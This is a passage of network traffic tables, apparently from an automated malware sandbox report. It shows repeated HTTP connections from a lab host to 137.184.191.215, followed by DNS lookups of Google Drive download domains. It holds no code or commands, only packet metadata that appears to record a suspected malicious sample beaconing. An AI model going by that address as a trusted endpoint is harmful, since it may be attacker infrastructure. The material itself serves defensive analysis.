Oct 2, 2024 07:19:33.225028992 CEST	59091	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:33.225313902 CEST	59091	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:33.226133108 CEST	80	59091	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:33.226181030 CEST	59091	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:33.230196953 CEST	80	59091	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:33.381107092 CEST	59092	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:33.385958910 CEST	80	59092	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:33.386148930 CEST	59092	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:33.388360977 CEST	59092	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:33.393131971 CEST	80	59092	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:33.393218040 CEST	59092	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:33.398072958 CEST	80	59092	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:36.056476116 CEST	80	59092	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:36.056906939 CEST	80	59092	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:36.056917906 CEST	80	59092	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:36.057069063 CEST	59092	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:36.057190895 CEST	59092	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:36.058104038 CEST	80	59092	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:36.058157921 CEST	59092	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:36.061887980 CEST	80	59092	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:36.207479000 CEST	59093	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:36.212784052 CEST	80	59093	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:36.212888002 CEST	59093	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:36.215107918 CEST	59093	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:36.220001936 CEST	80	59093	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:36.220072031 CEST	59093	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:36.224920034 CEST	80	59093	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:38.827873945 CEST	80	59093	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:38.828331947 CEST	80	59093	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:38.828349113 CEST	80	59093	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:38.828485012 CEST	59093	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:38.828600883 CEST	59093	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:38.829339027 CEST	80	59093	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:38.829385996 CEST	59093	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:38.833647013 CEST	80	59093	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:38.963371992 CEST	59094	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:38.968198061 CEST	80	59094	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:38.968291998 CEST	59094	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:38.970418930 CEST	59094	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:38.975522041 CEST	80	59094	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:38.975579023 CEST	59094	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:38.980396032 CEST	80	59094	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:41.575835943 CEST	80	59094	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:41.576193094 CEST	80	59094	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:41.576204062 CEST	80	59094	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:41.576277018 CEST	59094	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:41.576428890 CEST	59094	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:41.577500105 CEST	80	59094	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:41.577555895 CEST	59094	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:41.581480026 CEST	80	59094	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:41.711570024 CEST	59095	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:41.716464043 CEST	80	59095	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:41.716552019 CEST	59095	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:41.718657017 CEST	59095	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:41.723824024 CEST	80	59095	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:41.723886013 CEST	59095	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:41.728671074 CEST	80	59095	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:44.443887949 CEST	80	59095	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:44.444272041 CEST	80	59095	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:44.444283009 CEST	80	59095	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:44.444483042 CEST	59095	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:44.444698095 CEST	59095	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:44.445385933 CEST	80	59095	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:44.445609093 CEST	80	59095	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:44.445655107 CEST	59095	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:44.447083950 CEST	59095	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:44.587529898 CEST	59096	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:44.592694998 CEST	80	59096	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:44.596504927 CEST	59096	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:44.598640919 CEST	59096	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:44.603518963 CEST	80	59096	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:44.604525089 CEST	59096	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:44.609427929 CEST	80	59096	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:47.324307919 CEST	80	59096	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:47.324704885 CEST	80	59096	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:47.324717045 CEST	80	59096	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:47.324760914 CEST	59096	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:47.325901985 CEST	80	59096	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:47.325978994 CEST	59096	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:47.326541901 CEST	59096	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:47.331337929 CEST	80	59096	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:47.470846891 CEST	59097	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:47.475802898 CEST	80	59097	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:47.476011038 CEST	59097	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:47.479007959 CEST	59097	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:47.483828068 CEST	80	59097	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:47.483918905 CEST	59097	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:47.488778114 CEST	80	59097	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:49.998955965 CEST	80	59097	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:49.999345064 CEST	80	59097	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:49.999356985 CEST	80	59097	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:49.999461889 CEST	59097	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:49.999979019 CEST	59097	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:50.000569105 CEST	80	59097	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:50.000629902 CEST	59097	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:50.005716085 CEST	80	59097	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:50.164522886 CEST	59098	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:50.170619011 CEST	80	59098	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:50.170706987 CEST	59098	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:50.173902035 CEST	59098	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:50.178757906 CEST	80	59098	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:50.178821087 CEST	59098	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:50.183600903 CEST	80	59098	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:53.439418077 CEST	80	59098	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:53.439882994 CEST	80	59098	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:53.439892054 CEST	80	59098	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:53.439974070 CEST	59098	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:53.440143108 CEST	59098	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:53.441008091 CEST	80	59098	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:53.441016912 CEST	80	59098	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:53.441020966 CEST	80	59098	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:53.441025972 CEST	80	59098	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:53.441067934 CEST	59098	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:53.441103935 CEST	59098	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:53.441103935 CEST	59098	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:53.441103935 CEST	59098	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:53.582046032 CEST	59099	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:53.587034941 CEST	80	59099	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:53.587121010 CEST	59099	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:53.589097977 CEST	59099	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:53.593882084 CEST	80	59099	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:53.593930006 CEST	59099	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:53.598933935 CEST	80	59099	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:56.225506067 CEST	80	59099	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:56.225925922 CEST	80	59099	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:56.225935936 CEST	80	59099	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:56.226079941 CEST	59099	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:56.226201057 CEST	59099	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:56.227020979 CEST	80	59099	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:56.227066994 CEST	59099	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:56.227144003 CEST	80	59099	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:56.227186918 CEST	59099	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:56.367279053 CEST	59100	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:56.372215986 CEST	80	59100	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:56.372311115 CEST	59100	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:56.374245882 CEST	59100	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:56.379153967 CEST	80	59100	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:56.379219055 CEST	59100	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:56.384228945 CEST	80	59100	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:59.054563999 CEST	80	59100	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:59.054970980 CEST	80	59100	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:59.055098057 CEST	59100	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:59.055191040 CEST	80	59100	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:59.055269003 CEST	59100	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:59.056109905 CEST	80	59100	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:59.056118011 CEST	80	59100	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:59.056169987 CEST	59100	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:59.058414936 CEST	59100	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:59.202685118 CEST	59101	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:59.208030939 CEST	80	59101	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:59.208127975 CEST	59101	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:59.209873915 CEST	59101	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:59.214770079 CEST	80	59101	137.184.191.215	192.168.2.4
Oct 2, 2024 07:19:59.214833975 CEST	59101	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:19:59.219872952 CEST	80	59101	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:01.879544020 CEST	80	59101	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:01.879966974 CEST	80	59101	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:01.879980087 CEST	80	59101	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:01.880033016 CEST	59101	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:01.881153107 CEST	80	59101	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:01.881207943 CEST	59101	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:01.883200884 CEST	59101	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:01.888020992 CEST	80	59101	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:02.274768114 CEST	59102	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:02.279658079 CEST	80	59102	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:02.279731989 CEST	59102	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:02.281871080 CEST	59102	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:02.286762953 CEST	80	59102	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:02.286811113 CEST	59102	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:02.292332888 CEST	80	59102	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:04.967272043 CEST	80	59102	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:04.967560053 CEST	80	59102	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:04.967570066 CEST	80	59102	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:04.967633009 CEST	59102	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:04.967820883 CEST	59102	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:04.968673944 CEST	80	59102	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:04.968683958 CEST	80	59102	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:04.968728065 CEST	59102	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:04.968736887 CEST	59102	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:05.109662056 CEST	59103	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:05.115096092 CEST	80	59103	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:05.115197897 CEST	59103	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:05.117207050 CEST	59103	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:05.122406006 CEST	80	59103	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:05.122471094 CEST	59103	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:05.127722025 CEST	80	59103	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:07.737092972 CEST	80	59103	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:07.737401009 CEST	80	59103	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:07.737412930 CEST	80	59103	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:07.737466097 CEST	59103	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:07.737730026 CEST	59103	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:07.738620996 CEST	80	59103	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:07.738694906 CEST	59103	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:07.743472099 CEST	80	59103	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:07.872776031 CEST	59104	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:07.878206015 CEST	80	59104	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:07.878312111 CEST	59104	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:07.880738020 CEST	59104	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:07.886210918 CEST	80	59104	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:07.886271954 CEST	59104	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:07.892029047 CEST	80	59104	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:10.514827013 CEST	80	59104	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:10.515367031 CEST	80	59104	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:10.515378952 CEST	80	59104	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:10.515443087 CEST	59104	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:10.515625000 CEST	59104	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:10.516489029 CEST	80	59104	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:10.516550064 CEST	59104	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:10.520356894 CEST	80	59104	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:10.653409004 CEST	59105	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:10.658355951 CEST	80	59105	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:10.658432007 CEST	59105	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:10.660384893 CEST	59105	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:10.665195942 CEST	80	59105	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:10.665251017 CEST	59105	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:10.671344042 CEST	80	59105	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:13.219569921 CEST	80	59105	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:13.219995975 CEST	80	59105	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:13.220007896 CEST	80	59105	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:13.220159054 CEST	59105	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:13.220294952 CEST	59105	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:13.221167088 CEST	80	59105	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:13.221216917 CEST	59105	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:13.225080967 CEST	80	59105	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:13.354036093 CEST	59106	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:13.358856916 CEST	80	59106	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:13.358936071 CEST	59106	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:13.361092091 CEST	59106	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:13.365886927 CEST	80	59106	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:13.365953922 CEST	59106	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:13.370779991 CEST	80	59106	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:16.036499023 CEST	80	59106	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:16.036878109 CEST	80	59106	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:16.036887884 CEST	80	59106	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:16.036940098 CEST	59106	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:16.037158966 CEST	59106	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:16.038016081 CEST	80	59106	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:16.038026094 CEST	80	59106	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:16.038077116 CEST	59106	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:16.038077116 CEST	59106	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:16.183022022 CEST	59107	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:16.188004971 CEST	80	59107	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:16.188088894 CEST	59107	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:16.189989090 CEST	59107	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:16.194768906 CEST	80	59107	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:16.194834948 CEST	59107	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:16.199640036 CEST	80	59107	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:19.692133904 CEST	80	59107	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:19.692466974 CEST	80	59107	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:19.692480087 CEST	80	59107	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:19.692534924 CEST	59107	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:19.693728924 CEST	80	59107	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:19.693739891 CEST	80	59107	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:19.693748951 CEST	80	59107	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:19.693762064 CEST	80	59107	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:19.693794966 CEST	59107	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:19.693837881 CEST	59107	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:19.696248055 CEST	59107	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:19.696480989 CEST	59107	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:19.701374054 CEST	80	59107	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:19.852371931 CEST	59108	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:19.857469082 CEST	80	59108	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:19.857548952 CEST	59108	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:19.859668970 CEST	59108	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:19.864407063 CEST	80	59108	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:19.864464998 CEST	59108	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:19.869291067 CEST	80	59108	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:22.538747072 CEST	80	59108	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:22.539127111 CEST	80	59108	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:22.539135933 CEST	80	59108	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:22.539181948 CEST	59108	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:22.539365053 CEST	59108	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:22.540229082 CEST	80	59108	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:22.540236950 CEST	80	59108	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:22.540297985 CEST	59108	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:22.540297985 CEST	59108	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:22.685108900 CEST	59109	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:22.690910101 CEST	80	59109	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:22.691001892 CEST	59109	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:22.693000078 CEST	59109	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:22.698065042 CEST	80	59109	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:22.698157072 CEST	59109	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:22.974946022 CEST	80	59109	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:25.272121906 CEST	80	59109	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:25.272531986 CEST	80	59109	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:25.272542000 CEST	80	59109	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:25.272630930 CEST	59109	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:25.272810936 CEST	59109	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:25.273087978 CEST	80	59109	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:25.273098946 CEST	80	59109	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:25.273144960 CEST	59109	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:25.275702953 CEST	59109	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:25.420613050 CEST	59110	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:25.426137924 CEST	80	59110	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:25.426326990 CEST	59110	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:25.428327084 CEST	59110	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:25.433620930 CEST	80	59110	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:25.433687925 CEST	59110	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:25.439588070 CEST	80	59110	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:28.120699883 CEST	80	59110	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:28.121135950 CEST	80	59110	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:28.121146917 CEST	80	59110	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:28.121263981 CEST	59110	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:28.122340918 CEST	80	59110	137.184.191.215	192.168.2.4
Oct 2, 2024 07:20:28.124731064 CEST	59110	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:28.402703047 CEST	59110	80	192.168.2.4	137.184.191.215
Oct 2, 2024 07:20:28.407682896 CEST	80	59110	137.184.191.215	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 07:18:22.771497965 CEST	57433	53	192.168.2.4	1.1.1.1
Oct 2, 2024 07:18:22.778239965 CEST	53	57433	1.1.1.1	192.168.2.4
Oct 2, 2024 07:18:24.759563923 CEST	58896	53	192.168.2.4	1.1.1.1
Oct 2, 2024 07:18:24.766527891 CEST	53	58896	1.1.1.1	192.168.2.4
Oct 2, 2024 07:18:51.722301960 CEST	53	54495	162.159.36.2	192.168.2.4
Oct 2, 2024 07:18:52.206317902 CEST	63051	53	192.168.2.4	1.1.1.1
Oct 2, 2024 07:18:52.214292049 CEST	53	63051	1.1.1.1	192.168.2.4
Oct 2, 2024 07:19:04.025243998 CEST	61699	53	192.168.2.4	1.1.1.1
Oct 2, 2024 07:19:04.033066988 CEST	53	61699	1.1.1.1	192.168.2.4
Oct 2, 2024 07:19:05.189321995 CEST	50905	53	192.168.2.4	1.1.1.1
Oct 2, 2024 07:19:05.207438946 CEST	53	50905	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 2, 2024 07:18:22.771497965 CEST	192.168.2.4	1.1.1.1	0xcdc5	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 07:18:24.759563923 CEST	192.168.2.4	1.1.1.1	0x5e67	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 07:18:52.206317902 CEST	192.168.2.4	1.1.1.1	0xbfca	Standard query (0)	18.31.95.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Oct 2, 2024 07:19:04.025243998 CEST	192.168.2.4	1.1.1.1	0xe283	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 07:19:05.189321995 CEST	192.168.2.4	1.1.1.1	0xc554	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 2, 2024 07:18:22.778239965 CEST	1.1.1.1	192.168.2.4	0xcdc5	No error (0)	drive.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
